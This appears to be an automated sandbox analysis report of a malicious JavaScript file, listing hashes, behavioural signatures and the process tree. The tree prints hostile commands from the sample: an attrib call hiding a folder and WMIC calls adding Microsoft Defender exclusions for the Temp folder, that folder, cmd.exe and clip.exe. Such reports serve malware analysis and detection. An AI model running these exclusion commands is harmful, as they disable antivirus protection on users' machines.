Analysis
- max time kernel
38s - max time network
39s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
24/08/2026, 03:44
Static task
static1
Behavioral task
behavioral1
Sample
dfec0ea9ed7b1e3ceb813604170f47b0376cdeb226b418dee6e636e80f688cb0.js
Resource
win10v2004-20260513-en
windows10-2004-x64
6 signatures
40 seconds
Behavioral task
behavioral2
Sample
dfec0ea9ed7b1e3ceb813604170f47b0376cdeb226b418dee6e636e80f688cb0.js
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
6 signatures
40 seconds
General
- Target dfec0ea9ed7b1e3ceb813604170f47b0376cdeb226b418dee6e636e80f688cb0.js
- Size 13.5MB
- Sample260824-eammtssfle
- SHA256 dfec0ea9ed7b1e3ceb813604170f47b0376cdeb226b418dee6e636e80f688cb0
- MD5 7cf0ce39473c63302879cf51f62ca160
- SHA1 7dbbd15983f89c0b1e2668ed6b3212ebea6272b5
- SHA512 88a57594191a42940234d60be542ac126fe09519bdbad1975dc431a70b9c4eb0da81a9ae7910b4de8fee7e48ac280edf60345b52e93d614f20cda26ec2263d44
- SSDEEP 49152:0sgpSRoPPkDlT1361h27mWk5HsRgGPqOtWbY4ePGs1M6uAFdjYSJeM+6nIg9Q82z:s
- TLSH T136E6BF7108D506A7C4280C6775A3D8699D07A3876AEFDF4EBF5E61E9E0E2904841CBCF
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation wscript.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 980 WMIC.exe Token: SeSecurityPrivilege 980 WMIC.exe Token: SeTakeOwnershipPrivilege 980 WMIC.exe Token: SeLoadDriverPrivilege 980 WMIC.exe Token: SeSystemProfilePrivilege 980 WMIC.exe Token: SeSystemtimePrivilege 980 WMIC.exe Token: SeProfSingleProcessPrivilege 980 WMIC.exe Token: SeIncBasePriorityPrivilege 980 WMIC.exe Token: SeCreatePagefilePrivilege 980 WMIC.exe Token: SeBackupPrivilege 980 WMIC.exe Token: SeRestorePrivilege 980 WMIC.exe Token: SeShutdownPrivilege 980 WMIC.exe Token: SeDebugPrivilege 980 WMIC.exe Token: SeSystemEnvironmentPrivilege 980 WMIC.exe Token: SeRemoteShutdownPrivilege 980 WMIC.exe Token: SeUndockPrivilege 980 WMIC.exe Token: SeManageVolumePrivilege 980 WMIC.exe Token: 33 980 WMIC.exe Token: 34 980 WMIC.exe Token: 35 980 WMIC.exe Token: 36 980 WMIC.exe Token: SeIncreaseQuotaPrivilege 980 WMIC.exe Token: SeSecurityPrivilege 980 WMIC.exe Token: SeTakeOwnershipPrivilege 980 WMIC.exe Token: SeLoadDriverPrivilege 980 WMIC.exe Token: SeSystemProfilePrivilege 980 WMIC.exe Token: SeSystemtimePrivilege 980 WMIC.exe Token: SeProfSingleProcessPrivilege 980 WMIC.exe Token: SeIncBasePriorityPrivilege 980 WMIC.exe Token: SeCreatePagefilePrivilege 980 WMIC.exe Token: SeBackupPrivilege 980 WMIC.exe Token: SeRestorePrivilege 980 WMIC.exe Token: SeShutdownPrivilege 980 WMIC.exe Token: SeDebugPrivilege 980 WMIC.exe Token: SeSystemEnvironmentPrivilege 980 WMIC.exe Token: SeRemoteShutdownPrivilege 980 WMIC.exe Token: SeUndockPrivilege 980 WMIC.exe Token: SeManageVolumePrivilege 980 WMIC.exe Token: 33 980 WMIC.exe Token: 34 980 WMIC.exe Token: 35 980 WMIC.exe Token: 36 980 WMIC.exe Token: SeIncreaseQuotaPrivilege 4360 WMIC.exe Token: SeSecurityPrivilege 4360 WMIC.exe Token: SeTakeOwnershipPrivilege 4360 WMIC.exe Token: SeLoadDriverPrivilege 4360 WMIC.exe Token: SeSystemProfilePrivilege 4360 WMIC.exe Token: SeSystemtimePrivilege 4360 WMIC.exe Token: SeProfSingleProcessPrivilege 4360 WMIC.exe Token: SeIncBasePriorityPrivilege 4360 WMIC.exe Token: SeCreatePagefilePrivilege 4360 WMIC.exe Token: SeBackupPrivilege 4360 WMIC.exe Token: SeRestorePrivilege 4360 WMIC.exe Token: SeShutdownPrivilege 4360 WMIC.exe Token: SeDebugPrivilege 4360 WMIC.exe Token: SeSystemEnvironmentPrivilege 4360 WMIC.exe Token: SeRemoteShutdownPrivilege 4360 WMIC.exe Token: SeUndockPrivilege 4360 WMIC.exe Token: SeManageVolumePrivilege 4360 WMIC.exe Token: 33 4360 WMIC.exe Token: 34 4360 WMIC.exe Token: 35 4360 WMIC.exe Token: 36 4360 WMIC.exe Token: SeIncreaseQuotaPrivilege 4360 WMIC.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2404 wrote to memory of 2644 2404 wscript.exe 90 PID 2404 wrote to memory of 980 2404 wscript.exe 92 PID 2404 wrote to memory of 4360 2404 wscript.exe 95 PID 2404 wrote to memory of 804 2404 wscript.exe 97 PID 2404 wrote to memory of 4944 2404 wscript.exe 99 PID 2404 wrote to memory of 372 2404 wscript.exe 101 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2644 attrib.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\dfec0ea9ed7b1e3ceb813604170f47b0376cdeb226b418dee6e636e80f688cb0.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +h +s "C:\Users\Public\IIPaint\rukaqeg"2⤵
- Views/modifies file attributes
PID:2644
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add ExclusionPath="C:\Users\Admin\AppData\Local\Temp"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:980
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add ExclusionPath="C:\Users\Public\IIPaint\rukaqeg"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4360
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add ExclusionPath="C:\Users\Admin\AppData\Local\Temp"2⤵PID:804
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add ExclusionProcess="C:\Windows\System32\cmd.exe"2⤵PID:4944
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add ExclusionProcess="C:\Windows\System32\clip.exe"2⤵PID:372
-